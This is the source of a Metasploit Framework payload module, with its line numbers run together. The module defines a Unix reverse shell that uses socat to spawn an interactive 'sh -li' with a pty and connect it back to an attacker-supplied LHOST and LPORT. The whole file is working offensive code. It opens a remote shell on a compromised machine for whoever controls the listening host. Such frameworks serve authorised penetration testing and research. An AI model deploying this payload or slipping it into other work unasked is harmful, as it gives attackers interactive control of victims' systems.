Path: blob/master/modules/payloads/singles/cmd/unix/reverse_socat_tcp.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 7478include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Reverse TCP (via socat)',16'Description' => 'Creates an interactive shell via socat',17'Author' => 'jheysel-r7',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseTcp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'socat',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)31end3233#34# Constructs the payload35#36def generate(_opts = {})37vprint_good(command_string)38return super + command_string39end4041#42# Returns the command string to use for execution43#44def command_string45"socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:#{datastore['LHOST']}:#{datastore['LPORT']}"46end47end484950